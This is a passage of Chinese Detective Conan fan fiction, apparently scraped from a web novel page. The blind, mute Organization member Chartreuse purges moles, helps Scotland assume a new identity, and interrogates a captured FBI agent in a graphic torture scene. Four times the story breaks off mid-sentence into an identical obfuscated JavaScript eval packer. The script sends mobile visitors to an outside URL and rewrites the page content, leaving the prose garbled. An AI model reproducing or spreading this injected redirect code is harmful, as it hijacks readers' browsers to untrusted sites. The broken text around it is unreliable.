【好了,夏特,我的孩子。】Boss的语调似乎放缓了一丝,带着一丝安抚的意味。【这件事情到此为止。】 随即,那绝对权威的声音转向朗姆,恢复了冰冷的命令口吻: 【朗姆,你来我这里一趟。】 指认卧底错误,导致组织损失一名珍贵代号成员……这是要秋后算账了。 朗姆脸色一白,只得低头应下:“……是。” 会议暂告一段落,众人正欲起身,BOSS的声音再次响起:【夏特勒兹,你留一下。】 其他人目不斜视,识趣地迅速离开房间,不敢流露半分好奇。 诸伏清浅微微绷紧了身子,突然被老板单独留下,要交代的事情大多数不见得是好事。果然,boss接下来的话让他如坠冰窟。 【虽然苏格兰不是卧底,但这不代表组织里没有其他卧底。】 【夏特勒兹,找到他们。】 答应他。快答应他。 黑缎下的雾蓝色双眼微微睁大。 你想死吗,夏特勒兹,回答他。 “[……是,boss。]”冰冷的电子音终究还是掩盖住所有情绪的流露。 * 无论苏格兰事件闹得再怎么沸沸扬扬,在发现上层不再过问、甚至直接有功者莱伊也是照常出任务后,大家都识趣地略过这个话题。 久而久之,便是什么消息也打听不到了。 在基地中周旋打探的情报人员波本挂着遗憾的笑容离开,离开组织的范围后才总算沉下脸色。 这段时间仿佛无事发生……这是你的计划吗?诸伏清浅。 不知道为什么,他总有一种不安的感觉。 * ……事实证明,他的不安感是对的。 组织沉寂两个月之久,终于爆出一条震撼的消息—— 夏特勒兹以雷霆手段揪出了两名组织内部的叛徒,并顺藤摸瓜,挖出了一名深藏的BND(德国联邦情报局)卧底。 经过漫长而残酷的审讯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584908|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,组织得到情报,随后便将BND位于日本的一个小型据点炸成了烟花。 “哇哦,真是……壮观。”负责提供行动外围情报的波本脸上挂着标志性的微笑,只是那笑意不达眼底。 BND的卧底……即便是他们公安也对此所知甚少,这个据点更是闻所未闻—— 夏特勒兹,究竟掌握了多少潜伏卧底的身份? “……哼。”炸掉一个老鼠窝的琴酒显然心情很好,转头对伏特加道:“通知夏特勒兹,回礼已经送达。现在,轮到那些德国佬在窝里发抖了。” 当他们返回基地时,意外在走廊撞见了刚从审讯室出来的夏特勒兹。 蒙眼青年身穿常服拄着盲杖,虽然身上干净无比,但他浑身的血腥味萦绕不散,怎么也遮不住。 “把自己搞得这么狼狈,这可不像你,夏特勒兹。”琴酒冷嘲热讽地送上来自同僚的问候。 蒙眼青年吐出一口气,似乎是没辙了,在休息区的沙发上瘫成一滩,电子音透露着筋疲力尽的颓丧。 “[……天杀的,感觉审完人,自己的半条命也跟着搭进去了。]” 琴酒哼出一声冷气无视了他的抱怨,他只关心核心问题:“就只有一个据点?” 诸伏清浅:? 祖宗,您还没炸够啊? “[这点时间能撬开嘴、挖出一个据点已经算是效率惊人了。]”他撑起身子,从旁边的冰柜里取出一瓶未拆封的矿泉水,就着冰凉的液体将几粒布洛芬(从科研组那边顺来的)吞下。 “[况且这里毕竟是日本,BND再如何嚣张也不可能在此大肆铺设据点。给予足够的震慑就已经达到目的了。]” 他顿了顿,没好气地反问:“[再说,要是继续深挖下去,积压的任务你帮我做啊?]” 这两个月全力扑在清查卧底上,夏特勒兹的待办事务已经积压到一个恐怖的数字。 “[……看来接下来我得在床上躺一阵子了。]”蒙眼青年用冰凉的手背贴了贴自己滚烫的额头。 电子音道出的低语既像是无奈的自嘲,也巧妙地堵住了琴酒想要继续深挖这个卧底的心思。 夏特勒兹的体质很烂,这一点算得上是组织内公开的情报。琴酒闻言再次发出一声意味不明的冷哼,终究没再说什么。 他利落转身,带着伏特加奔赴下一个任务地点——想让他帮忙处理积压的任务?简直是痴心妄想。 他自己手头的任务也是任务。 波本没有打扰他们的谈话,直到琴酒离开他才笑吟吟地走上前:“夏特勒兹大人身体不舒服吗?一定要注意休息啊。” “[嗯……多谢关心,但想要从我这里打听到什么情报是不可能的了。]”蒙眼青年对他的态度还算不错,但涉及工作方面就显得毫不留情。 “哎呀……您这话可真让人伤心。”波本的笑容丝毫未变,“我就不能单纯的关心您嘛。” 蒙眼青年“瞥”了他一眼:“[如果你愿意单飞的话我会更高兴的。]” 波本笑容一僵:…… 这话他一时间还真的不知道怎么接。 他确实得到了一点风声,苏格兰事件后朗姆应该是被boss回收了部分权利,而且大头是被夏特勒兹拿走…… 如今损失了一名得力下属的夏特勒兹,如果朗姆派系的波本选择单飞(就算不加入自己的派系),他应该会乐见其成。 “那真遗憾。”最后他只能重复道。 80.今年 所幸没过多久他的手机收到了一封匿名邮件。 【你给他准备好假身份没有?】 嘛……说是匿名,对方也没怎么走心地伪装就是。 【我需要见苏格兰一面。】 常言道,最危险的地方就是最安全的地方。 当诸伏景光再次踏入这间曾属于苏格兰的安全屋时,内心不免掠过一丝荒诞的感慨。 “好久不见,zero。”刮干净胡茬并经过简单乔装的诸伏景光上前,用力拥抱了分别两月的幼驯染。 这两个月被迫的静默与蛰伏实在让人不安。 降谷零叹了口气。苏格兰事件后的两个月里,组织内部风声鹤唳,气氛凝滞到让人几乎喘不过气。 夏特勒兹显然被下达了任务,行踪成谜,这段时间根本找不到人。 只有此时和保持静默的幼驯染再次相见,他才有了些许实感。 嗡—— 这个时候他的手机震动了一下,一条新消息弹出:【我翻窗进来了。】 几乎在降谷零读完信息的瞬间,卧室方向传来极其细微的响动。 片刻后房门“咔哒”一声轻启,蒙眼青年提着一个黑色装备箱悄无声息地出现在他们面前。 诸伏景光看见对方,下意识张了张口,那个熟悉的音节几乎脱口而出:“ki……” 蒙眼青年却像根本没听到那个音节一样,径直走向房间里的桌子,将手中的装备箱“咔哒”一声放下。 “[他的身份?]”电子音平静地响起,对话的对象却是站在一旁的降谷零。 降谷零叹了口气:“……根据你提供的信息,基础构建得差不多了——剩下的就是补充足够的生活痕迹。” 早在两个月前,夏特勒兹就给他提供了好几份经营多年的假身份。 考虑到夏特勒兹更熟悉组织审查的套路与思维,降谷零最终决定冒险采用他的方案。 公安只要把身份在官方过个明路就好,这样即便组织深入追查,也很难溯源至公安。 “只是身份的样貌,你打算怎么解决?” 能怎么办? 诸伏清浅用行动回答了他。他打开装备箱,从中取出一张轻薄的面具。 “易/容?!”降谷零这下是震惊了,“你连这个也会?!” “[一点点。]”电子音平淡回答,“[我看不见,所以接下来你要完全按照我的指令操作。]” 清浅放下手机拿起面具,开始一步步指导诸伏景光如何佩戴、调整,并细致讲解了日常保养与紧急修补的技巧。 降谷零在一旁凝神观察,试图记下每一个细节。 教学刚结束,降谷零才刚张口便被清浅冷漠地打断:“[别想。]” “……我还没说什么呢。” “[我不接单。]”他合上箱子冷静陈述,“[受身体条件的限制,我制作面具的周期特别长,没有办法满足你们公安的批量需求。]” 降谷零只得遗憾放弃,转而询问起这两个月间的风波。 “[和你们猜想的差不多……苏格兰事件虽然揭过,但BOSS认为组织里绝不可能仅此一例。 今年的主旋律恐怕都在肃清卧底上,你们小心一点。]” 电子音带着一丝不易察觉的疲惫,他微微侧头转向降谷零的方向,“[尤其是你那边,搞完后最好保持静默。]” “[至于BND那边,不用担心。在行动前我和他们通过气,他们卧底现在应该已经安全撤离…… 没办法,他们之前的任务漏洞太大,只能把人送出去。]” 听着蒙眼青年断断续续地将一些远超他们情报网络的信息透露出来,降谷零长叹一声。 “……你的情报一如既往的让人震惊。” “[已经是我的极限了。]”诸伏清浅对自己的认知很清晰。 “[日本大部分情报网络仍掌握在朗姆手中,我能触及的范畴止步于此……我的根基不在日本。]” 不在日本……那在你的主场能变成什么样啊! “‘夏特勒兹,可以说是国外版本的朗姆’。”诸伏景光轻声接话。 “之前……杉本教官是这么和我说的。”但在提及那个名字时话音明显顿了一下。 “[……在美国的话,和贝尔摩德比起来可能稍微差一点。]”清浅随即若无其事地绕开了那个名字。 清浅给诸伏景光留了五副面具备用。待清浅悄声无息地离开后,降谷零望着幼驯染脸上那张完全陌生的面孔,揉了揉眉心: “好吧,脸是解决了,声音……” “稍微改变一下发声方式和习惯还是可以做到的。” 顶着一张陌生脸庞的诸伏景光回答,声音带上了一丝刻意调整后的沙哑。 “不过你说的杉本……” “嗯,清浅的……训练营教官,以前他和我聊过一些关于夏特勒兹的事情。”诸伏景光陷入回忆,“他还说——” ‘在绝对的实力面前,盲哑的缺陷也算不上什么。’头发花白的教官指尖夹着烟,随意地和凤眼青年交谈。 ‘说实话1007……夏特勒兹申请常驻日本时我还诧异了一会儿。 他十四岁拿到代号后,在海外短短五年间建立起的基础和威信,组织在那里的势力完全可以算是他的一言堂。’ ‘那里才是他的疆域,在那里他的规则几乎就是组织的规则。’ ‘回到日本,就意味着他必须从头开始,在朗姆经营多年的地盘上小心翼翼地周旋,处处受制—— 这无异于自缚手脚,放弃了他一手打造的王国。’ 当时,杉本教官的目光似乎若有深意地扫过诸伏景光:‘如今想来,我大概知道原因了。’ “……你的意思是,”降谷零消化着这惊人的信息, “杉本教官或许早就察觉到了夏特勒兹回日本的真正动机?他甚至可能……预见到了你会进入组织?” 如果是这样的话,那么夏特勒兹所做的一切,很可能都是为了…… ——能在未来某个时刻,有能力保护诸伏景光。 安全屋内陷入了长久的沉默。 * 正如清浅所言,BND卧底的暴露就像推倒了第一张多米诺骨牌。时隔两年,组织再一次迎来了清洗叛徒的大高/潮。 而(被迫)作为清洗行动的主力,夏特勒兹除了一开始抽空去了美国一趟处理事情,整个人便几乎扎根在了组织基地。 大部分时间他都泡在基地里调动情报网,偶尔外出执行抓捕,或是踏入那间弥漫着血腥气的审讯室。 因为额外增加了肃清卧底的工作,诸伏清浅的休息时间被大幅度缩减,每天不是处理工作就是被身体机能强制关机休息,忙得头发都掉了不少。 在这样连轴转的忙碌中,时间悄然流逝,直到某天情报网中的某条情报引起了他的注意。 FBI……?这个时候? 他借着听手机里的报告的契机,悄然打开系统面板,调出相关的情报。 这个时间点……莫非是? 蒙眼青年终于舍得从堆积如山的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591098|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件后站起身,捞起搭在椅背上的外套,决定暂时离开这个令人窒息的房间。 “啊……夏特勒兹大人,要来一杯吗?”基地公共休息室的酒保早已熟悉这位近期神出鬼没的干部,见到他出来便打了声招呼。 “最近刚引进一款新的小麦啤酒,口感还不错,要试试吗?” “[大早上的不喝酒。]” 啤酒到底为什么好喝,像是八千亿个浓缩苦瓜加黄莲浓缩炸开在嘴里的味道。 到底是谁在喜欢? 盲杖轻点地面,内心吐槽的蒙眼青年随意地挥挥手,“[我去买点糖……最近的便利店在哪里?]” * 【浅井 09:23 你们FBI打算做什么?抓捕琴酒吗?】 不是……这你也能知道? 收到这条消息的赤井秀一还懵了一会儿。 虽然天台事件后他们秘密交换了联系方式,但这确实是夏特勒兹第一次主动启用这个通道。 【赤井 09:23 为什么会这么问?】 【浅井 09:23 ……我看到你们FBI探员的出入境记录了。】 不是……这你也能知道?赤井秀一再次发出问号。 无论怎么看,最先知道这条消息的应该是属于日本公安的波本才对吧? 赤井秀一沉默,赤井秀一决定掠过这个话题。 FBI的行动还挺好猜的。确定了这就是原著中赤井暴露的事件后,一切都清晰明朗起来。 正如之前所说,FBI应该没有让赤井长期潜伏的打算,所以假身份也做得相对粗糙,是三瓶威士忌中最好查的一瓶(当然另外两瓶有本土优势的原因在)。 既然夏特勒兹如此轻易地查到自己的身份,那么在最近组织的肃清浪潮下,莱伊的身份就像一个放在火上烤的定时炸/弹,暴露只是时间问题。 如果继续让赤井秀一潜伏下去,那他随时可能被组织内部的清洗行动揪出。 届时人死了所有情报线也会中断,他们承担不了这样的损失,必定会让赤井撤离。 既然撤离已成定局,那么为什么不利用起来,在撤离前发动一次高收益的进攻? 如果能成功抓捕甚至击毙琴酒这样的组织核心干部,那将是对组织的沉重打击,这笔功劳足以弥补整个卧底行动的消耗。 不过嘛…… 【浅井 09:25 ……我并不认为你能成功。这一次我没办法帮你——朗姆最近有在调查你。】 嚯—— 赤井秀一挑眉。他料到行动风险不小,却没想到这件事朗姆也掺和了进来。 【浅井 09:25 ……说来惭愧,因为当初觉得你们三个都是卧底实在有点难绷,根据探查你们身份的难易程度……我上交的报告里写了你的身份存疑。】 【赤井 09:26 ……没事,我不介意这个。话说你那个时候就知道我们的身份了啊。】 【浅井 09:27 ……咳。 最近抓出的叛徒多多少少都和朗姆有点关系……不用猜了我故意的,然后他应该有点着急…… 或许他对苏格兰的事情还有疑虑,总而言之他调取了你的相关档案。 ……总之,万事小心吧。】 诸伏清浅见此,发了条消息提醒降谷零做好相关准备。 能够提醒的他已经提醒了,相信这位原著甚至组织钦点的银色子弹,以及公安头子已经有所决断。 81.FBI卧底 【莱伊确认为FBI卧底。全员追杀。】 当这条通告在组织内部传开时,夏特勒兹刚结束一场漫长的审讯。 一位底层成员战战兢兢地前来汇报,声音因恐惧而微微发颤:“夏,夏特勒兹大人……关于莱伊的追捕行动……已经结束了。” “[结束?]”蒙眼青年停下脚步,电子音平静无波,但在底层人员耳里听来压力尽显。“[具体结果。]” “F…FBI的反应非常迅速,在意识到暴露后立即组织了撤离。我们……我们只拦截下两名探员。” 汇报者几乎不敢抬头,“是阿尼赛特大人,行动开始时他正好在附近,成功扣下了两人。现在……人正在另一间审讯室。” 阿尼赛特啊……听到这个名字,夏特勒兹心下微微一沉。 “[位置。]”他从口袋里摸出当初没吃完的薄荷糖,往自己嘴里扔了一颗。 稍微有些不好办。 * 朗姆说这一次试探,如果顺利的话就是一次大功。 莱伊……是叛徒吗? 阿尼赛特独自坐在街角咖啡馆门外的露天座椅上,面前放着一杯氤氲着热气的可可。 他的坐姿端正得近乎刻板,如同训练营中要求的姿态。他偶尔会抬头看一眼城郊废弃工厂的方向,那里是莱伊说有些不对劲的地方,想要让琴酒过来看一下。 琴酒。 训练营里没有所谓的前后辈情谊,只有赤/裸/裸的实力划分与优胜劣汰。 不可否认,那个银色长发的男人,其能力远在他这个“失败品”之上。 【莱伊确认是卧底。 ——Rum】 就在这时,他的手机屏幕亮起。几乎是本能反应,他抛下那杯没有动过的热可可起身。 ……是机会。一个清晰的声音在他内心深处响起。 立功的机会。 一个或许能洗刷“失败品”烙印,向BOSS证明自己仍有价值的机会。 然而,现场的局势远比他预想的复杂。FBI并非毫无准备,他们的反应迅捷,且组织有序。 “阿尼赛特!掩护我撤退!”朗姆的声音从掩体背后传来,带着一丝被算计的恼怒和急促。 FBI认出来朗姆的身份了吗?这是打着引诱琴酒过来的旗号,实则是抓捕朗姆的陷阱? 他利落地给手枪重新换好弹匣,视线快速扫视仓库,评估着每一个威胁与机会。 立功的机会……就在眼前。 莱伊那个FBI的卧底,如果能亲手将他留下…… “阿尼赛特!”急促的催促声响起,带着不容置疑的命令口吻。 阿尼赛特几乎是条件反射地调转枪口,击中瞄准朗姆的一个FBI探员的肩膀。 那位先生的意志为最高指令,其次才是组织的利益。 莱伊是卧底,严重损害组织利益,理应追杀止损。 可是FBI有支援,朗姆也在。 朗姆是情报组的负责人,组织的二把手,掌握组织大量核心机密。 ……在当前无法确保百分百击杀莱伊的情况下,朗姆的存活与安全,优先级高于追击单个卧底。 “明白。” 他回应道。 在逻辑链形成的一瞬间,他的声音恢复了那种缺乏起伏的平稳。 他不再试图寻找莱伊的身影,而是集中火力掩护朗姆离开。 有点可惜啊…… 内心那片因机会而泛起的波澜已彻底平息,只剩下完成任务的冰冷与空洞。 但是优先级需要调整。 * “[那么我想问了,]”冰冷的电子音在审讯室里响起,“[不是说抓回来两个吗?另外一个呢。]” 阿尼赛特抿了抿唇,将沾了血的钳子放回托盘。“死了。” “[……哈?]” 带夏特勒兹来的底层成员在一旁小声补充,声音细不可闻:“……好像是,让他逮到机会……紫砂了。” 让人在审讯中找到机会紫砂?夏特勒兹几乎要气笑。这是哪个审讯人员犯下的低级失误? 他面向阿尼赛特,平静的电子音罕见带了点犹疑:“[……你当初审讯课没及格?]” 阿尼赛特:…… 他沉默了一瞬,脖颈似乎更加僵硬了:“我过线了。” 哦,低空飞过。 “[算了,专职审讯的家伙精神多少都不正常,这活儿确实不适合你。]” 夏特勒兹并不打算深究,电子音恢复了平时的漠然。“[所以现在就只剩这一个活口了是吧。]” 系统,开始记录。 【录像模式已开启】 将系统相机的视角固定好便不再理会,夏特勒兹深吸一口气上前,拽着审讯椅上的人的头发迫使他抬头,然后快速卸掉下巴,忽略对方的惨叫声用钳子硬生生拔掉了他的后槽牙,从根本上杜绝了服毒或者咬舌自尽的机会。 “[你怎么还不走?]”那个带路的底层成员早已溜之大吉,感知到审讯室里还有第三个人的呼吸,他微微侧头看向角落里站得笔直的阿尼赛特。 褐发青年沉默:“……借鉴,观摩。” 夏特勒兹周身的气压都低了些许,显然对被视线刺得有些不爽。 但他最终只是扭回头,不再理会这个固执的旁观者。 “[……审讯有什么好学的,你又不专攻这方面。]” 审讯的本质,无非是通过肉/体的痛楚与心理的压迫,系统性地摧毁一个人的意志壁垒,最终撬开牙关,掏出深藏的情报。 阿尼赛特静立在角落,看着被逐渐击碎精神防线的FBI探员,以及游刃有余的蒙眼青年,思绪缓慢飘散,回想起自己知道的情报。 事实上,夏特勒兹最初也曾被归入“失败品”的范畴。 当时关注他的人很多,毕竟盲哑的小孩太过特殊; 但同时真正看好他的人很少——身体的残疾被视为无法弥补的致命缺陷,几乎所有人都认定他活不长。 直到那一次反审讯测试的惊人成绩,夏特勒兹的表现远超所有“正常”的学员。 他曾一度以为,夏特勒兹只是在反审讯这个特定领域天赋异禀,但直到他拿到代号,被夏特勒兹摁在地上打才反应过来—— 训练营出来的,尤其是能在一群健全者中杀出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16597879|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的残疾人,绝对不是什么任人拿捏的弱者。 他虽然不是琴酒那样的全能型人才,但偏科战神也是神(? 审讯持续了五十多个小时,阿尼赛特就一直站在角落里。 他听着无机质的电子音一遍一遍地重复着关键问句,看着那名探员从最初的挣扎咒骂到后来的哀求崩溃,最终被折磨得意识模糊防线破碎,听着他在电子音的询问下下意识地呢喃出回答。 “[莱伊的真名?]” “A…Akai……赤井…秀……一。” 真乖。 他看见夏特勒兹在那探员意识涣散的最后一刻轻轻捧住了对方的头颅,动作甚至带着一种诡异的温柔,仿佛在安抚。 他仿佛能听见对方轻声的称赞。 早点说出来,不就不用受这些苦了? 那么……晚安。 “你……很强。”阿尼赛特的指尖无意识地捻了捻。 正在脱下沾血手套的夏特勒兹闻言身形一顿,微微侧头看向褐发青年,仿佛在问他在放什么狗屁。 “这就是为什么,”阿尼赛特直视着他,语气平板却执着。“你是成功品的原因吗。” ho—— 夏特勒兹的喉间溢出一声短促而意味不明的气音。他重新拿起自己的手机,电子音恢复了之前的冰冷与疏离。 “[找准你的定位,阿尼赛特。]” “[收起你的小心思。]” 是观察自己的审讯手法后意识到了双方的差距吗。 ……但这不是定义失败品的最终因素。 事实上他对失败品的定义一直颇为模糊。毕竟无论是他还是琴酒,都因为独特的存在价值而得到了BOSS的赏识和任用—— 直到阿尼赛特出现,他才明白boss对“成功品”的定义。 那位先生渴望的是一把刀,却又不仅仅是一把刀。 他想要一把拥有自我思想的利刃,但这利刃的思想又必须绝对忠诚于他一人。 乌丸莲耶不介意下属有一些小心思,无论是琴酒那款花大价钱拿下的那款停产许久的保时捷,还是夏特勒兹隐瞒自己能说话的事实; 无论是琴酒对于训练营教官灭口的泄愤,还是夏特勒兹放任其苟延残喘的恶劣。 甚至,正是因为这些瑕疵的存在,而琴酒与夏特勒兹依旧能完美地执行他的意志,才让他更加感到一种掌控的愉悦。 因此,在阿尼赛特这种思维近乎僵化、完全遵循指令、缺乏内在驱动力的完美工具出现时,那位先生如何能不感到失望? ……呵,贪婪。 想要一把能牢牢握在手中、绝不会伤及自身的刀,又嫌弃这把刀失去了灵魂; 渴望利刃拥有独立思考的能力,又禁止这思想脱离自己的意志。 天下哪有这等连吃带拿的好事? 所以在试炼场和阿尼赛特打的那一场架,让琴酒和夏特勒兹不约而同地认清了一个事实—— 琴酒/夏特勒兹,并不忠诚于组织。 可是那又如何? 当时一同离开试炼场的两人默契地谁也没有作声,在无形之间成为了彼此的共犯。 82.第四份便当 离开审讯室后,走廊里冰冷的空气扑面而来。夏特勒兹略微放缓了脚步,借着这段空隙慢慢平复因长时间高度集中而有些急促的呼吸。 连着熬穿48+小时,他的身体也有些吃不消。太阳穴隐隐作痛,四肢带着一种透支后的沉重感。 ——但没事,问题不大。 又不是没熬过。 早在门外等候多时的底层成员见他出来,立刻快步迎上,语气恭敬:“夏特勒兹大人——” 话音未落,便被电子音干脆打断:“[宫野明美在哪里。]” 作为莱伊的引荐人兼女友,同时又有着雪莉的姐姐这层特殊身份,她的处境颇为微妙。 虽然不至于被直接投入审讯室,但必要的问责与调查在所难免。 “您现在就要见她吗?”底层人员略显意外,没想到这位大人会在结束审讯后立刻处理此事。 但他迅速反应过来——或许是刚刚得到了需要与她核对的关键情报。 于是他立刻回道:“我立刻带她到小会议室。” * 宫野明美当然知道夏特勒兹,这位蒙眼青年在这段时间担任着志保的监护人。 与以往那些冷漠或充满压迫感的监视者不同,他会尽力为志保争取外出与她见面的机会,并且从不过多打扰她们的相聚时光。 身处组织这片望不见底的黑暗,她始终对这位为妹妹争取到些许自由的青年怀有一份感激。 ……只是此刻,她好像有点明白,为什么志保最初会反复提醒她要小心这个看似瘦弱的青年了。 刚从审讯室出来的蒙眼青年,周身还萦绕着一股令人心悸的冰冷气息,混合着存在感极强的血腥味,让她下意识地瑟缩了一下。 ……就像琴酒一样。 听到门把手转动的声音,夏特勒兹微微抬起头。他快速在手机上发送完最后一条信息,随即挺直背脊,恢复到那种无懈可击的姿态。 带路的底层人员早已识趣地退出并关好门。此刻会议室里只剩下宫野明美自己略显急促的呼吸声。 “[……抱歉,我吓到你了?]”电子音平静无波,但宫野明美仿佛能够听出其中的缓和和安抚。 “……不,没事。是我失态了。”她的指尖发凉,但还是故作镇静地拉开青年对面的椅子坐下。 “夏特勒兹大人是有什么需要询问我吗?” 夏特勒兹没有立刻回答。 他似乎是在等待,直到感知到对方的呼吸节奏稍稍平稳,才用那平铺直叙的电子音抛出第一个问题: “[在莱伊暴露前,你对于他FBI卧底的真实身份完全不知情,是或不是。]” ……欸?宫野明美怔住。 她预想过许多种严厉的质问,却唯独没料到会是这种……近乎于引导式的确认。 指节敲击桌面的轻响拉回了她的思绪。“[回答。]” “是……是的。”她下意识地遵从。 “[你并不知道他的真实姓名,是或不是。]” “……是。” “[他与你交往,并非出于真心,而是为了利用你接近组织核心。是或不是。]” “……” “是。” “[那么就没问题了。]”夏特勒兹站起身,“[很抱歉,因为此次事件的牵连,雪莉那边或多或少会受到一些影响。 接下来一段时间你们的会面机会可能会减少甚至暂时中止……但我会尽力争取。]” “[这段时间减少活动安心呆在家里,如果有人找你可以报我的名号,就说夏特勒兹已经找过你问责,他们应该不会对你怎么样。]” 这个时候还有什么不明白的? 这根本不是问责,而是不动声色的回护与开脱。 宫野明美匆忙站起身,朝着那个苍白瘦削的背影深深鞠了一躬:“谢……谢谢您!” 夏特勒兹正准备拉开门把手的动作顿了一下。他没有回头,只是最后留下了一句听不出情绪的话。 “[那么为了你和你的妹妹着想,今天的事情请保持安静。]” * 所幸科研组自成体系,并不怎么和其他组别互通,雪莉并没有受到太大的影响。 ……除了见到一身黑暗气息的夏特勒兹让她有些应激之外。 这一次行动阿尼赛特立了大功,但FBI的网撒得远比想象中要大,目标不仅限于琴酒,竟连朗姆也险些成为瓮中之鳖。 因着朗姆这次的狼狈遇险,阿尼赛特的功劳在微妙的权衡下,最终不了了之。 波本倒是蛮兴奋的,他带着一种“果然如此”的畅快,表示难怪自己看莱伊不顺眼。如今证实对方是老鼠,更是通过审查后名正言顺地积极行动,兴冲冲地收拾东西前往美国,打算和贝尔摩德将人拿下。 可惜美国好歹也是FBI的地盘,组织在强势回归的FBI探员赤井秀一手中吃了大亏,遗憾离场。 银色子弹……原来组织这个时候就称呼赤井秀一为这个了啊。 夏特勒兹关掉系统面板,原本在他意念里展开的情报网络瞬间消失。 忙碌与高压再次将时间卷入新一年的开端。 莱伊的卧底身份让组织的损失巨大,无数曾与他有过交集的据点需要紧急排查、废弃或转移; 所有他可能接触过的线路、人员都需要重新审查评估—— 这无疑让夏特勒兹和琴酒额外多了一堆工作。 这阵子他一直在基地里盯着情报网,都快把其盯出一朵花来才勉强将手头最紧急的一批事务处理完毕。 长时间的审讯、熬夜、身处血腥与谎言的环境,让他的感官变得迟钝。当他终于能够离开基地站在清晨空旷的街道上,竟泛起一种奇异的不真实感。 外界的空气、晨光、声响,对他而言一切都像是隔着一层模糊的毛玻璃,遥远而失真。 他下意识拢了拢脖子上的红围巾,但怎么也不得要领,冷风嗖嗖地往里灌。他无奈,只得将半张脸埋入围巾粗糙的织物里,盲杖轻轻点地慢慢往回走。 有点冷……意识深处泛起一个微弱的念头,随即又被更大的空白淹没。但和训练营比起来还算可以忍受。 现在……事情算是告一段落了吗?接下来……又该做什么? 思绪如同断线的风筝,漫无目的地飘荡。他行走着,存在感被下意识地压得极低,宛如街边一抹即将被晨光融化的淡影。 ——以至于当两位身材高大的男性与他差点迎面撞上时,双方都猝不及防。 夏特勒兹凭借刻入骨髓的反应速度,在相撞的前一瞬侧身避让。 虽然避免了直接的肢体碰撞,但这突如其来的插曲还是让双方都停下了脚步。 “啊不好意思你没事吧……咦?” 一个洪亮而带着些许诧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607648|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的声音响起,带着一丝熟悉的腔调,“浅井尘……浅井先生?” 标志性的蒙眼黑缎让他认出了眼前这位被同期提醒过的年轻人,那位气质特殊的“浅井尘”。 “欸?是伊达大哥认识的人吗?”跟在旁边的年轻刑警高木涉因这意外驱散了些许困意,好奇地问道。 是伊达航,他身边还站着新带的后辈高木涉。两人显然是刚结束了一夜的盯梢任务,脸上带着熬夜后的疲惫。 ……啊,是伊达航啊。 搜查一课强行犯搜查三系的警部,28岁,听这声音里的疲惫感应该是刚熬完通宵,正准备交接班回去休息。 他的大脑缓慢处理着这突如其来的干扰,职业本能般分析着对方的信息。然而,还未等他做出任何反应—— “砰!!!!” 刺耳的轮胎摩擦声撕裂清晨的宁静,一声巨响猛地炸开,伴随着金属扭曲的刺耳噪音和玻璃碎裂的哗啦声,一辆失控的汽车猛地撞上不远处路边的防护栏! 伊达航惊魂未定地看着眼前扭曲的护栏和冒烟的汽车,瞌睡瞬间被惊飞,背后沁出一层冷汗。 他猛地转头,看向身旁那位似乎也被变故“惊呆”了的蒙眼青年—— 如果不是刚才那无意的一撞让他停顿了那么一两秒,现在被撞上的恐怕就是他自己了! “高木!叫救护车!通知交通课的人过来!”身为刑警的素养让他迅速压下心悸,厉声吩咐的同时,人已经大步冲向事故车辆,查看司机的情况。 “啊……是!”高木涉一个激灵,立刻掏出手机执行命令。 什……么。 伊达航大声的指挥声、远处传来的惊呼声、警笛由远及近的鸣响——一瞬间都变得无比清晰尖锐,穿透那层毛玻璃刺入耳膜。 伊达航,清晨,车祸。 2月……7日。 【叮——】 【剧情节点“伊达航的车祸事件”,已完成】 冰冷的系统提示音在脑海中回荡。 伊达航的死劫。 “没事吧?” 处理完初步事宜,他听见伊达航走到他身边问他。 疲劳驾驶的司机已被赶到的交通课警察接管,这场意外的混乱正在各方人员的协作下迅速归于有序。 蒙眼青年怔怔地站在原地,似乎才意识到自己已在一旁呆立了许久。 